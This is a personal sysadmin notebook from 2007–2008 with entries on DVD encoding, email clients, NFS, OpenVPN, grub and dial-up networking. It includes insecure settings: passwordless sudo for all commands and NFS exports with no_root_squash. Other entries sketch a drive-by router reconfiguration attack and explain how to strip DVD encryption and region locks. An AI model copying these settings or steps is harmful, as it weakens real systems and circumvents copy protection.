<copied-dvd-root> Entry: mencoder frameno deprecated Date: Sun Aug 5 14:32:51 CEST 2007 it looks like frameno is problematics for sync, as i already saw. so it looks like there's no way around doing things double. 1: use frameno + audio encoding only for bitrate estimation 2: perform a pass1 with audio encoding optionally: 3+: perform multiple pass3 maybe i can fix the subtitles too in the first pass. Entry: distributed state Date: Fri Aug 17 15:38:46 CEST 2007 i'd like to solve the problem of distributed state: basicly, how to have a 'master' of something that is not located in a single spot? the real problem is merging: if it is possible to define 'changing state' in a way that conflicts can never occur, this can be made sound. i need it for: * distributed programming projects: i already have darcs, and i do get conflicts, so i guess here it's not possible to solve the problem because i really have different versions, not a single master. * document store, i.e. collection of pdf documents, email archive: the only operations are "add-file" "rename-file" "delete-file". here it should be possible to solve the problem. Note that i do not have an 'undo' operation. The whole idea is - single serialized thread operating on the abstract store - accessing information updates the local cache - things need to be stored at least at 1 place - background process can do caching, which doesnt change semantics - caching requests the document from the fastest available link - undo implemented outside of the system due to snapshotting Is this journalling? Entry: the single machine experience Date: Sat Aug 18 01:53:08 CEST 2007 that's what it is no? a luxury problem created by the abundance of machines. the thing i am interested in is distributed systems: how to get something going without a central point of control? Entry: router access by page visit Date: Tue Sep 11 03:34:10 CEST 2007 apparently it's possible to embed a link in a remote page that accesses http://192.168.0.1/bla to set some config, given you know the (default) password. so ppl, set your passwords! Entry: self promotion Date: Thu Sep 13 19:30:17 CEST 2007 time to do the dirty deed.. -> packets + catkit + purrr -> clean up zwizwa main site: 'typical home page' code: parser for wiki syntax + ramblings docs. dus -> mzscheme / planet parser-tools Entry: ejabberd Date: Wed Sep 19 12:57:59 CEST 2007 needed for simon.. the interesting thing is that it's some kind of skeleton for distributed apps using erlang. this might be exactly what i'm looking for to write my 'single machine experience' on the i network. Entry: sane server disk partitioning Date: Wed Sep 19 16:07:51 CEST 2007 - keep local system partion safe: export read-only. this contains all sensitive data. - export the data partition using no_root_squash, maybe even 'insecure' it seems to make more sense to try this: 20 GIG system: export ro, with root squash 20 GIG external system: export rw, no root squash rest external data: export rw, with root squash, possibly with insecure (since network is trusted for non-root stuff) transferring a system while it's running: looks like this is doable, as long as you resync the most important stuff (like email) after shutting down the services. Entry: emacs todo Date: Mon Oct 1 16:33:00 CEST 2007 - auto-fill-mode - alt navigation keys: minibuffer (i.e. grep) Entry: debootstrap Date: Fri Oct 5 18:30:25 CEST 2007 - debootstrap lenny - apt-get install emacs22 darcs dtach quack-el w3m-el nxml-mode make sudo - install mzscheme from http://download.plt-scheme.org/mzscheme - darcs get http://zwizwa.be/darcs/pool http://zwizwa.be/darcs/snot http://zwizwa.be/darcs/brood - /etc/sudoers tom ALL=(ALL) NOPASSWD: ALL Entry: OSPF routing Date: Sat Oct 13 21:45:19 CEST 2007 using quagga.. first some question what is a passive interface? what is link-detect? what is "ip forwarding" ? what is "ipv6 nd suppress-ra" ? what is "line-vty" ? Entry: vserver Date: Mon Oct 15 13:02:08 CEST 2007 http://www.howtoforge.com/linux_vserver_debian vserver broem build -n broem --hostname broem.i --interface eth0:192.168.14.1/24 -m debootstrap -- -d lenny works pretty well Entry: emacs email Date: Tue Oct 16 14:30:21 CEST 2007 it's a pain.. but let's stick with the way VM wants to handle it. the idea is that vm is a mode for mbox files: you can basicly open an mbox file and navigate it, reply to messages etc... that's a nice paradigm. the problem is: i'm using Maildir. actually, thinking about it more, this is not a real problem. the real problem is that in order to solve locking issues, VM uses movemail to move email from a standard multi-access point (i.e. a Maildir inbox) to a locally managed single-access mbox file. Fine with me, but it's a leaky abstraction.. i'm trying apt-get install mailutils Entry: more emacs email Date: Fri Oct 19 19:45:47 CEST 2007 got it organized like this now: * converted all Maildirs -> mbox format (using movemail) * kept procmail to deliver to xxx.mdir * wrote a movemail script to move .mdir to .mbox * maybe best let vm run the script to update boxes? * added auto-mode for .mbox seems to me mbox is better in the end. the only real problem is shared access, but the current movemail approach solves it. mbox are easier to process too. it does mean i give up on courier imap folders, and would use imap only to fetch mail. so, on each machine i have ~/mail/INBOX.mdir where the mailer will store incoming messages. this is the directory both vm and mutt check for new mail. when vm checks mail, it moves messages to ~/mail/INBOX.mbox Entry: trying out gnus Date: Fri Nov 23 01:35:13 CET 2007 vm sucks.. i can't get it to work properly, seems heavily "state bound" and i do things that get it in a wrong state. stupid stuff like saving messages, opening the viewer windows, etc... thought i'd give gnus a try. trying this: http://zarb.org/~gc/html/howto-adopt-gnus.html i guess i can keep my current procmail sorting setup and have gnus monitor these dirs as groups. the incoming groups could be kept in mdir format as now, and periodically i could 'movemail' them to the mbox files. Entry: NFS Date: Tue Jan 29 19:11:24 CET 2008 the problem with nfs is that it is security based on physical network access. i'm trying to figure out some security model so i don't need to think about it any more. problems: * nfs is very convenient for playing movies + videos over the network * nfs is necessary for diskless access (root + home dirs) how to solve this? - regard local realm as secure * physical access: managable = +- same as physical computer access * logical (VPN): more difficult: VPN keys are then high rank intermediate solution: no NFS over vpn? there's no clean cut.. problem is: anything connected through NFS should be regarded as a single machine. if there's physical access to any part of the machine (or VPN access) then you're in. trying sshfs, but this is not so obvious either. looks like it's slow too. so these are 2 security models: * user/key (ssh) based: fairly secure over insecure network * NFS: needs network level security (network = machine) maybe best to limit NFS to diskless root (limited) + readonly access to public data. Entry: where am i? Date: Fri Feb 22 18:17:20 CET 2008 back to the thing i wanted to do: make some distributed daemon that + knows what (X) terminal i'm at, and can send media that way + send emails to edit to my current setup + checks if email system is functional. Entry: debian udev Date: Tue Feb 26 14:48:23 CET 2008 the world evolved behind my back.. looks like 'hotplug' package in debian is completely replaced by 'udev', but /etc/hotplug is still there: some applications install scripts. (maybe udev uses these too?) http://lists.debian.org/debian-laptop/2006/08/msg00109.html > It's the existence of /etc/hotplug which confuses me. Easy, hotplug is not in its own package anymore, it is now included with udev, or replaced with udev. the idea is you put stuff in /etc/udev/rules.d for example, my 026_microchip.rules: #ICD2 SYSFS{idVendor}=="04d8", SYSFS{idProduct}=="8000", MODE="0660", GROUP="microchip" #ICD21 SYSFS{idVendor}=="04d8", SYSFS{idProduct}=="8001", MODE="0660", GROUP="microchip" i had a file lingering in /etc/udev/libgphoto2.rules, but i'm not sure if it's loaded.. this here: https://bugs.launchpad.net/ubuntu/+source/libgphoto2/+bug/90724 points to the following solution: /usr/lib/libgphoto2/print-camera-list udev-rules mode 0660 group plugdev >/etc/udev/rules.d/45-libgphoto2.rules Entry: go Date: Wed Feb 27 12:54:56 CET 2008 often i type 'ssh' when i mean 'cd'. what about replacing this with a command 'go' that can figure out the difference? might go together with the where-am-i functionality, and somewhat related to continuations and a stack of host connections ala pushd. Entry: fonera repeater Date: Tue Mar 4 20:47:34 CET 2008 # the atheros chipset in the fonera allows difinition of master + # client on the same channel. works pretty well. something like: REMOTE_ESSID="essid remote ap 00:01:02:03:04:05" LOCAL_ESSID="essid local" CHAN=3 REMOTE_NS=1.2.3.4 REMOTE_GW=1.2.3.1 REMOTE_IP=1.2.3.50 LOCAL_NET=192.168.0 # this assumes there's no default route # i.e. start it from the management interface # we're going to introduce a new default route, so kill the old one OLDGW=`route -n |grep ^0|grep eth0|awk '{print $2}'` [ -z "$OLDGW" ] || route del default gw $OLDGW # kill old stuff wlanconfig ath0 destroy wlanconfig ath1 destroy killall -9 dnsmasq killall -9 udhcpc # ap wlanconfig ath0 create wlandev wifi0 wlanmode ap iwconfig ath0 $LOCAL_ESSID iwconfig ath0 channel $CHAN ifconfig ath0 $LOCAL_NET.1 netmask 255.255.255.0 up dnsmasq -i ath0 -F $LOCAL_NET.2,$LOCAL_NET.31 # station wlanconfig ath1 create wlandev wifi0 wlanmode sta nosbeacon iwconfig ath1 $REMOTE_ESSID # prevent resolv.conf updates killall udhcpc echo "nameserver $REMOTE_NS" >/tmp/resolv.conf ifconfig ath1 $REMOTE_IP netmask 255.255.255.0 up route add default gw $REMOTE_GW iptables -t nat -A POSTROUTING -o ath1 -j MASQUERADE Entry: usb -> serial Date: Sat Mar 8 15:57:03 CET 2008 Nozell, rhymes with Oh Hell » Blog Archive » USB to Serial Adapter ... - [ Vertaal deze pagina ] I ordered from CompUSA a USB to Serial Adapter by CablesToGo (model 26886) and it works great out of the box on Ubuntu/Feisty. ... nozell.com/blog/2007/06/18/usb-to-serial-adapter-for-ubuntu/ - 8k - for connecting the modem to zorro. Entry: wds Date: Sat Mar 8 18:56:36 CET 2008 trying to connect wrt (client) to atheros (ap) using wds. didn't work.. something i don't understand is how to allow connections on the atheros using wds. maybe the problem is that the wrt is in client mode? Entry: mac80211 inject Date: Wed Mar 12 13:35:40 EDT 2008 http://trac.aircrack-ng.org/ticket/139 BTW, I see you are involved in aircrack-ng. For monitoring mac80211 drivers/devices, I recommend using virtual interfaces instead of taking the current interface down and setting it to monitor mode. Pick an interface name, send it to /sys/class/ieee80211/wiphyX/add_iface, set that interface to monitor mode, and bring it up. This allows you to capture frames (and in the future, inject frames) without affecting the current connection, provided there is no channel changing. this doesn't work for rt8180 2.6.25-rc5, however, injection should work just fine with mac80211 Entry: dial-in server Date: Fri Mar 14 11:26:33 EDT 2008 instead of trying to make a backup using dial-out, it might be best to use dial-in! what about making a web interface for setting something like that up? got the HCF modem working using free drivers from http://www.linuxant.com/drivers/hcf/downloads-installer.php the alsa+slmodemd thing on the D610 doesnt seem to work tho.. mgetty seems to be straightforward. what remains is to figure out mgetty's locking features to enable dial-out with mgetty active. -> simple: make sure the file in /etc/ppp/peers has the same devince name for the serial port as the mgetty line in /etc/inittab (i had /dev/modem for the former, instead of /dev/ttySHCF0) Entry: traffic control Date: Wed Mar 19 10:22:04 EDT 2008 i did this before.. don't remember where. maybe on zzz? the deal is: when i'm uploading through ssh on zzz, interactivity is killed. (7 seconds ping times). Entry: magnolia Date: Wed Mar 19 21:59:37 EDT 2008 magnolia connected to: * PC (ethernet) * wifi (usb) * phone (linuxant modem) * headphones / speaker? some things need to work out thoug: - fregglenet on WEP in stead of WPA? maybe without passwd? (check routing) this might require using the other fonera. - getting a wifi card to work on magnolia. either the isl3890 or the ra2740. the former seems to give problems on windows when used on linux (flashed?) - make sure the modem works on the new kernel. - asterisk? how to get phone output to work? setup PC as gateway so magnolia tries to connect to internet. connect both through null ethernet. Entry: squirrel Date: Fri Mar 21 12:10:00 EDT 2008 a full 'clean' XP/SP2 install with * firefox * cygwin (ssh) * openoffice * how to backup + restore? http://justinsomnia.org/2007/02/how-to-regularly-backup-windows-xp-to-ubuntu-using-rsync/ ntfsclone for backing up ntfs filesystems. rsync in image mode? can the disk image be accessed in windows? maybe a better approach is to use qemu-img to convert images to vmdk images or any other growable image. the disadvantage here is that it can't be streamed.. Entry: wordpress on debian Date: Tue Mar 25 21:12:07 EDT 2008 sucks. single install, multiple blogs? this is not a good thing for file uploads: best to keep them local. also, one db for all blogs might be bad too.. why doesn't wordpress just put things in the database? ok.. seems that there's a single directory with uploads shared by all users. tsss.. files created are 666 ;) this needs to be done differently. shared blogs = crap. upload needs to be per user. let's try to understand this better, 1. suexec i don't trust php code accessing global server data, so let's limit it to single users with wp 2.0.10 in user dir. 2. mysql auth can't find a way to have (system) root automatically be database root. solved with /root/bin/mysql = #!/bin/sh exec /usr/bin/mysql -pxxxxxxxx "$@" and this path enabled for interactive sessions 3. sqlite would be nice to have wp run off sqlite.. mysql 100MB is total overkill. can't really trim it down much. looking around for sqlite i find only buggy patches.. maybe stay out of this.. Entry: lucent winmodem Date: Fri Mar 28 16:47:29 EDT 2008 00:10.0 Communication controller: Agere Systems 56k WinModem (rev 01) 00:10.0 0780: 11c1:0441 (rev 01) Subsystem: 13e0:0410 Flags: bus master, medium devsel, latency 0, IRQ 9 Memory at f4048400 (32-bit, non-prefetchable) [disabled] [size=256] I/O ports at 1018 [disabled] [size=8] I/O ports at 1800 [disabled] [size=256] Capabilities: [f8] Power Management version 6 usable? yes http://linmodems.technion.ac.il/packages/ltmodem/kernel-2.6/ both ltmodem seem to work. agrsm not. Entry: magnolia w. dialup Date: Sat Mar 29 13:56:25 EDT 2008 with different dialup provider: ZORRO + USB/SERIAL + MODEM + WIFI CARD ? basicisp.net Call From State - City (Ratecenter) Call To State - City (Ratecenter) Number V92? MI - Lansing (LANSING) MI - Bath (BATH) 517-641-0245 YES MI - Lansing (LANSING) MI - Dewitt (DE WITT) 517-668-4245 YES MI - Lansing (LANSING) MI - Eagle (GRANDLEDGE) 517-626-3245 YES MI - Lansing (LANSING) MI - Eaton Rapids (EATON RPD) 517-233-0245 YES MI - Lansing (LANSING) MI - Laingsburg (LAINGSBURG) 517-651-4245 YES MI - Lansing (LANSING) MI - Lansing (LANSING) 517-913-1245 YES MI - Lansing (LANSING) MI - Mason (MASON) 517-833-1245 YES MI - Lansing (LANSING) MI - Williamston (WILLIAMSTN) 517-717-1245 YES Entry: lansing network simplification Date: Mon Mar 31 08:14:11 EDT 2008 fred + zorro/modem/wg121 the wg121 should be able to run with multiple ap or at least support wds for fred. trying to eliminate sam. * reset the wg121. probably firmware got broken, so reinstalling in windows. -> that works. but i get the same errors on linux. giving up there. 2nd option: get a 2nd wrt54g. what's the trade-off - almost certainly going to work (if the version n# is ok) - trades wrt54g for wg121+fonera+ethernet (which is what i pay for) OK so i'm waiting for the 2nd wrt54g to arrive. curious how this will work out. the breaking point is going to be wether i can have an un-encrypted wds link together with an encrypted client connection. as far as i understand, wds isn't ESSID based, but MAC based. also, i saw it's possible to make wds links without having an AP. should work then.. if that works, the best route to go is to use zorro with modem attached, possibly mgetty, a way to choose between wifi and dialup, and setup samba. Entry: without zorro Date: Thu Apr 3 16:35:06 EDT 2008 if the wrt solution works, and i can get access to the pc's disk from outside, zorro can be eliminated. magnolia + lucent modem + 2 x wrt + access to PC. saves: wifi cards, foneras, zorro, external modems. http://www.modemhelp.net/u/usrobotics.shtml Entry: burning dvds Date: Fri Apr 11 17:27:11 EDT 2008 EDIT: just burning speed, using -speed=1 it works fine, see http://zwizwa.be/darcs/pool/bin/dvd data dvds no problem. multisession ok too. but video, i can't seem to get right.. tom@del:~/bin$ dvd video /pub/dey.iso Executing 'builtin_dd if=/pub/dey.iso of=/dev/scd0 obs=32k seek=0' /dev/scd0: "Current Write Speed" is 3.3x1352KBps. 0/166002688 ( 0.0%) @0x, remaining ??:?? RBU 100.0% UBU 0.0% 0/166002688 ( 0.0%) @0x, remaining ??:?? RBU 100.0% UBU 0.0% 0/166002688 ( 0.0%) @0x, remaining ??:?? RBU 100.0% UBU 0.0% 0/166002688 ( 0.0%) @0x, remaining ??:?? RBU 100.0% UBU 0.0% 0/166002688 ( 0.0%) @0x, remaining ??:?? RBU 100.0% UBU 0.0% 0/166002688 ( 0.0%) @0x, remaining ??:?? RBU 100.0% UBU 0.0% 0/166002688 ( 0.0%) @0x, remaining ??:?? RBU 100.0% UBU 0.0% 0/166002688 ( 0.0%) @0x, remaining ??:?? RBU 100.0% UBU 0.0% 0/166002688 ( 0.0%) @0x, remaining ??:?? RBU 100.0% UBU 0.0% 0/166002688 ( 0.0%) @0x, remaining ??:?? RBU 100.0% UBU 0.0% 0/166002688 ( 0.0%) @0x, remaining ??:?? RBU 100.0% UBU 0.0% 0/166002688 ( 0.0%) @0x, remaining ??:?? RBU 100.0% UBU 0.0% 0/166002688 ( 0.0%) @0x, remaining ??:?? RBU 100.0% UBU 0.0% 0/166002688 ( 0.0%) @0x, remaining ??:?? RBU 100.0% UBU 0.0% 0/166002688 ( 0.0%) @0x, remaining ??:?? RBU 100.0% UBU 0.0% 0/166002688 ( 0.0%) @0x, remaining ??:?? RBU 100.0% UBU 0.0% 0/166002688 ( 0.0%) @0x, remaining ??:?? RBU 100.0% UBU 0.0% 0/166002688 ( 0.0%) @0x, remaining ??:?? RBU 100.0% UBU 0.0% 0/166002688 ( 0.0%) @0x, remaining ??:?? RBU 100.0% UBU 0.0% 0/166002688 ( 0.0%) @0x, remaining ??:?? RBU 100.0% UBU 0.0% :-[ WRITE@LBA=0h failed with SK=0h/ASC=00h/ACQ=02h]: Input/output error :-( write failed: Input/output error tom@del:~/bin$ don't know what that's about.. the script: #!/bin/bash # # Note: the pathspec does not have the semantics of unix 'cp'. # # * FILE: placed in the root directory. # * DIRECTORY: the CONTENTS are placed in the root directory. # # To copy a directory, you need to move the root dir. # # dvd init|add -root dirname dirname # usage () { echo "usage:" echo " `basename $0` init|add [options ...] <pathspec> [pathspec ...]" echo " `basename $0` video [options ...] <video.img>" } [ -z "$2" ] && usage && exit 1 unset SUDO_COMMAND export MKISOFS=/usr/bin/mkisofs CMD=$1 shift DEV=/dev/scd0 ARGS="$DEV -speed=1 -r -J" add () { growisofs -M $ARGS "$@" } init () { growisofs -Z $ARGS "$@" } video () { growisofs -dvd-compat -Z $DEV=$1 } $CMD "$@" Entry: dell PIII Date: Fri Apr 11 20:04:14 EDT 2008 with old maxtor 10G, tested with seagate utils. seems to work fine. tested scanjet too. TODO: backup the nt image (seagate tools + .net + gimp + ALZIP installed) Entry: todo Date: Sun Apr 13 14:22:04 EDT 2008 * squirrel - usb wifi - dvd ? * pc - cygwin - vnc / remote desktop - routing / dialup * magnolia - automatic dialup or console/web interface? what about this: conf 1: * PC + router apsta upstairs conf 2: * PC + dialup, router figures out it needs to connect through pc's dialup + openvpn + wakeonlan + webcam + some kind of file sharing + apsta kamikaze Entry: openvpn on windows Date: Sun Apr 13 20:12:56 EDT 2008 openvpn on windows: http://www.runpcrun.com/howtoopenvpn http://openvpn.se/download.html OK... need to clean up zwizwa's openvpn stuff, mostly segment the network so access is limited. quite straightforward actually. ``just works'' nice surprise. now to automatically connect: openvpn-gui --connect i-vpn.ovpn but how to put this in a .lnk ? maybe a batch file is necessary it's probably easier to just figure out how to start a batch/bash file as a service. or find out if runit works on cygwin. can use this too: http://www.ciscopress.com/articles/article.asp?p=605499&seqNum=9 http://www.itsatechworld.com/files/openvpn%20startup.reg Windows Registry Editor Version 5.00 [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] "openvpn-gui"="C:\\Program Files\\OpenVPN\\bin\\openvpn-gui.exe --connect client1.ovpn" EDIT: enabling the service, and making sure they are readable (by SYSTEM user) works nice: will restart automaticly when internet connectivity changes. Entry: installing cygwin Date: Sun Apr 13 18:47:17 EDT 2008 * download the setup program http://cygwin.com * install in C:\ (this is really ok, despite warning) * pick a mirror * install openssh, python, rsync, wget, links * install cyg-apt in /bin (cyg-apt update) http://download.linuxaudio.org/lilypond/binaries/cygwin/cyg-apt * setup ssh as a service http://pigtail.net/LRP/printsrv/cygwin-sshd.html enable port 22! - need to be Administrator: (Compaq_Owner) - to login, need to have password set! Entry: administrator cmd.exe Date: Sun Apr 13 20:24:31 EDT 2008 how to get to a cmd.exe or cygwin bash shell as administrator from normal logged in user? Entry: rsync Date: Sun Apr 13 20:53:32 EDT 2008 recently i ran into the rsync paper, about how rsync does its magic. quite interesting: it uses 2 layers of hashing: a fast incremental hashing, and a block hashing. the first one is used to scan for blocks that are the same, the second one to verify they are. anyways.. rsync. i'm using it in the following modes: * mirror / backup (make an identical copy) http://zwizwa.be/darcs/pool/bin/rsync.backup * merge (like copy, but doesn't delete) http://zwizwa.be/darcs/pool/bin/rsync.backup * in-place copy (for transferring large files with possible connection drops) http://zwizwa.be/darcs/pool/bin/rsync.inplace Entry: upgrading a harddisk w. grub Date: Sun Apr 13 22:04:37 EDT 2008 to keep it easy, make sure the partitions are the same. might also keep the filesystem the same to make sure it boots properly. for me that's hda1 = swap, hda2 = reiserfs. mount the new filesystem, cd to it and "cp -ax / ." then, cd to /boot/grub and create a file 'move_map' with an entry: (hd0) /dev/hdb where hdb is the where the new root is currently mounted. this assumes it will be the first harddrive visible to grub when booting (hd0). then run grub with: grub --device-map move_map root (hd0,1) # set root dir find /boot/grub/stage1 # make sure it's the right one setup (hd0) # install in MBR to make sure you got the right drive, do "touch BLA" in the mounted new root, and try "find /BLA" in grub. that should work, but for me atm it doesnt.. bios prob? EDIT: i tried to run grub from within the image, but something doesn't want to work apparently.. Entry: mounting a partition in a raw harddisk image Date: Mon Apr 14 16:27:07 EDT 2008 can get the offset from "fdisk -ul -C 1" the '-C 1' is there to make fdisk shut up about total number of cylinders. offset can be found multiplying the sector count by 512. then "mount <file> <mountpoint> -o loop,offset=<offset>" something else: apparently when you DD a small image onto a larger harddrive, the remaining space shows up as unpartitioned. apparently, loopback devices can have partitions: http://lwn.net/Articles/110468/ Entry: wake on lan Date: Tue Apr 15 11:31:27 EDT 2008 trying to get to a scheme where the router can wake up magnolia. basicly the same thing as with zorro (openwrt + debian) but using 2 different machines. EDIT: need wake-on-lan cable. should work with the 3com, but have no equipment here.. maybe the PC can work like that? Entry: dialin + schedule tasks Date: Thu Apr 17 13:33:45 EDT 2008 on vpn: some kind of mechanism to determine wether cliens are active, and when they are, schedule tasks like backup + file transfer. Entry: magnolia network Date: Thu Apr 17 13:55:05 EDT 2008 fred: dhcp master compaq: dhcp client magnolia: dhcp client all 3 connect to vpn. if compaq connects through dialup with the lan active, can i reach the other 2? (their vpn would be down due to different default route). yes. works fine. connecting vpn through 2 dialup accounts seems to work fine. it does need to restart the openvpn GUI apparently. maybe i make that a bit more robust? so.. more i really don't need. just need to setup magnolia to accept dialin. Entry: magnolia dvd Date: Thu Apr 17 16:06:51 EDT 2008 doesn't accept dvd+r. does takes cd-r though, and plain dvd. Entry: fixmbr problems Date: Thu Apr 17 20:07:32 EDT 2008 i suspect fixmbr changed the partition table to heads=15 from heads=255, so the disk won't boot any more. this is what cfdisk reports: Size: 4325529600 bytes, 4325 MB Heads: 15 Sectors per Track: 63 Cylinders: 8940 Name Flags Part Type FS Type [Label] Sectors ---------------------------------------------------------------------------------- hda1 Primary Linux swap / Solaris 250425 hda2 Boot Primary Linux ReiserFS 8197875 something is starting to make sense now: the bios limit is 1024 cylinders. if the number of heads is set low, that limit will be reached faster. maybe it boots with lba addressing in bios? trying to fix it with: cfdisk -c 526 -h 255 -s 63 /dev/hda doesn't work.. EDIT: grub, booting from a disk, does recognize the disk as 524/255/63 (and the other as 1023/255/63 really 1244/255/63) so this does seem to be the problem.. maybe passing the geometry to grub should help then? Q: how does the kernel determine CHS ? my guess is either through the partition table, or the ATA spec. see this: http://lists.freebsd.org/pipermail/freebsd-questions/2003-October/023890.html The BIOS addressing limitations are usually given as 1024 cylinders, 255 heads, and 63 sectors per track. (Note: 1024*255*63 sectors is just under 8GB.) The ATA/IDE specifications limit you to 65535 cylinders, 16 heads, and 255 sectors per track. If you accept both sets of limitations at once, you get a maximum of 1024 cylinders, 16 heads and 63 sectors, resulting in the infamous "528" MB hard disk size limitation. maybe this will fix it: * clear partition table on hda * reboot! * create a new one, with exactly the same layout maybe this is simpler: * manyally set CHS in grub neither work.. after running /usr/bin/grub-install on the new 10G disk it worked.. ok, same for the 4G disk. so what does that do over 'setup' in the grub shell? Entry: resizing filesystems Date: Sat Apr 19 12:33:31 EDT 2008 i'd like to save the WINXP filesystem on a dvd for easy cloning. got ntfsclone working now, but that can't be mounted. it would be more interesting to prepare a disk image that fits on a dvd, and can be dd'ed straight to an empty disk to give a bootable system, and used inside vmware/qemu. after that, remaining space can be partitioned. so.. what i want is: 1. resize squirrel so it fits on a dvd 2. use it as disk in vmware resized to 4500MiB = 4499993088 bytes = 8789049 sectors original: Disk /dev/loop0: 12594959s Sector size (logical/physical): 512B/512B Partition Table: msdos Number Start End Size Type File system Flags 1 63s 12594959s 12594897s primary ntfs boot disk size = 8789112 sectors make it a multiple of cylinders: cylinder size = 63 * 255 sectors rounded to cylinder boundary: 8803620 sectors Entry: openvpn / dns prob Date: Sun Apr 20 10:40:37 EDT 2008 Sat Apr 19 08:58:29 2008 RESOLVE: Cannot resolve host address: zwizwa.h1x.com: [TRY_AGAIN] A temporary error occurred on an authoritative name server. there are several occurences earlier in the year. - disk space ok - "sv restart dnsmasq" didn't do anything kotnet dns server? 2008-04-20_14:41:22.82860 dnsmasq: using nameserver 10.0.7.249#53 2008-04-20_14:41:22.82896 dnsmasq: using nameserver 10.0.7.250#53 2008-04-20_14:41:22.82927 dnsmasq: using nameserver 134.58.127.1#53 2008-04-20_14:41:22.82958 dnsmasq: using nameserver 134.58.126.3#53 the first 2 do not respond.. the last 2 don't give zwizwa.h1x.com zwizwa.mooo.com is ok. maybe the problem is with changeip? time to switch? Entry: fault tolerance Date: Sun Apr 20 11:27:04 EDT 2008 maybe.. should have a look at erlang. i keep running into problems that could do with a bit more robustness. all hacked up solutions that are quite important to stay up.. Entry: mjpegtools Date: Sun Apr 20 20:41:46 EDT 2008 dvd authoring. maybe time to figure out how to link packetforth to mjpegtools? 1st attempt: without switches, gives mpeg1 2nd attempt: lav2yuv mvi_1271.avi | mpeg2enc -f 8 -n n -o test.mpg lav2wav mvi_1271.avi | mp2enc -V -o test.mp2 lav2wav complains: **ERROR: [lav2wav] Input file(s) must have 16 bit audio! get it out with mencoder or ffmpeg? mencoder \ -of mpeg -mpegopts format=dvd:tsaf \ -lavcopts vcodec=mpeg2video:vbitrate=9800 mencoder \ -ovc lavc -lavcopts vcodec=mpeg2video:vbitrate=9800 \ -oac pcm \ -of mpeg -mpegopts format=dvd:tsaf \ mvi_1271.avi -o test2.mpg this hangs.. updating, taking mplayer from lenny. myabe the smoothest ride is to use mencoder to produce raw files, then use mpeg2enc and mp2enc ? upgraded dev-SVN-r25315 from debian-multimedia.org, still hangs damn minefield.. EDIT: dump audio from movie mplayer -vc null -vo null -ao pcm -benchmark test.avi WTF? .. and this dumps core: mencoder -dumpaudio -dumpfile test4.wav mvi_1271.avi i got something working now: dvd_ntsc_half () { mencoder \ $1 \ -vf scale=352:240 \ -ovc lavc -oac lavc \ -of mpeg -mpegopts format=dvd:tsaf \ -srate 48000 \ -lavcopts \ vcodec=mpeg2video:\ vbitrate=4800:\ vrc_maxrate=9800:\ vrc_buf_size=1835:\ keyint=18:\ aspect=4/3:\ acodec=ac3:\ abitrate=192 \ -o $2 } EDIT: changing to 30000/1001 and using dvdauthor: dvdauthor -o dvd -t easter3.vob ... ... dvdauthor -o dvd -T mkisofs -dvd-video -udf -o dvd.iso dvd/ Entry: dvd: success Date: Wed Apr 23 11:39:23 EDT 2008 tested on apex dvd player, using transcode dvd_ntsc xxx.avi xxx.vob vobs2iso dvd.iso vob/* burn.dvd video dvd.iso for i in <movies>; do transcode dvd_ntsc $i $j.vob; done the winning entry: DVD_OPTS=" -ovc lavc -oac lavc \ -ofps 30000/1001 \ -of mpeg -mpegopts format=dvd:tsaf \ -srate 48000 \ -lavcopts \ vcodec=mpeg2video:\ vbitrate=4800:\ vrc_maxrate=9800:\ vrc_buf_size=1835:\ keyint=18:\ aspect=4/3:\ acodec=ac3:\ abitrate=192 " dvd_ntsc () { mencoder \ "$1" -vf scale=720:480,harddup $DVD_OPTS -o "$2" } Entry: ppp problems Date: Wed Apr 23 15:17:10 EDT 2008 after setting the 'debug' option in /etc/ppp/options i get in syslog: Apr 23 07:15:42 magnolia pppd[3109]: Peer refused to agree to our IP address this is because the dialin has an IP address set. romved that. dial-out works now. probably going to wait with dial till till i'm back. Entry: dvd backup Date: Sat May 10 10:58:41 CEST 2008 rip dvd with dvdbackup (pool/bin/dvdcopy). burning this with mkisofs gives problems with region encoding.. so trying to re-mux it like this: vobs2iso GATTACA2/VIDEO_TS/VTS_01_[1-4].VOB looks like dvdauthor can take stream input. using this: dvd_copy () { mencoder -dvd-device "$1" dvd://1 \ -oac copy -ovc copy \ -of mpeg -mpegopts format=dvd:tsaf \ -o "$2" } a title in the dvd can be transcoded to a .vob file, which can then be fed to dvdauthor to re-author a dvd image. the author itself needs disk access since it's 2-pass. hmm.. mencoder can't generate to a pipe.. so. dvdbackup + mkisofs works fine to remove encryption, but the resulting dvd will still be region-specific. to remove this, the only thing i was able to make work is to use "transcode dvd_copy" and "vobs2iso". hmm.. vob files are really just split at a fixed size, so concatenating them should work? Entry: vpn Date: Sat May 17 15:16:17 CEST 2008 time to make a 2-level vpn: one for accessing remote nodes + no access to internal network, and one for internal trusted nodes only. Entry: everything is a file Date: Sat May 17 22:19:39 CEST 2008 I've been thinking about how to interface PLT scheme to anything, especially emacs and mutt. The thing that keeps coming back is fuse. http://fuse.sourceforge.net/ some things can be done with pipes, but really, emulating files might not be such a bad idea.. if a program's access pattern is predictable, this might be a lot easier to manage. Entry: gs crashing? Date: Sun May 18 12:04:09 CEST 2008 root 15686 30.6 65.3 494572 337516 ? D 06:59 92:24 gs -r72 -dNODISPLAY -dFIXEDMEDIA -dDELAYBIND -dWRITESYSTEMDICT -q -dNOPAUSE -dSAFER /tmp/ps2t8EpBGq -- /var/tmp/pgfmanual.pdf no idea what this is about.. i can't remember the file either. visitors? EDIT: problem was in ruby-1.8 doc update via cron.weekly Entry: exim4 gnu TLS problem Date: Wed May 21 21:26:51 CEST 2008 giebrok:~# /usr/share/exim4/timeout.pl 100 /usr/bin/openssl gendh 1024 Can't locate Pod/Usage.pm in @INC (@INC contains: /etc/perl /usr/local/lib/perl/5.8.8 /usr/local/share/perl/5.8.8 /usr/lib/perl5 /usr/share/perl5 /usr/lib/perl/5.8 /usr/share/perl/5.8 /usr/local/lib/site_perl .) at /usr/share/exim4/timeout.pl line 28. BEGIN failed--compilation aborted at /usr/share/exim4/timeout.pl line 28. in /usr/share/exim4/exim4_refresh_gnutls-params maybe installing gnutls solves the problem? nope, debian dependency problem: installing 'perl-modules' solves the problem. Entry: Canon PowerShot A540 Date: Wed May 28 22:38:26 CEST 2008 http://malbe.nm.ru/chdk/allbest-a540-100b-50.zip 11-Apr-2008 15:47 227947 md5: 38eb04f1a6d45a6a1faf4ca14a0b846c Quite a surprise, i thought it wouldn't work for the 540, and was considering to buy a 620! Entry: TV-out on xorg intel Date: Fri May 30 18:40:06 CEST 2008 i noticed 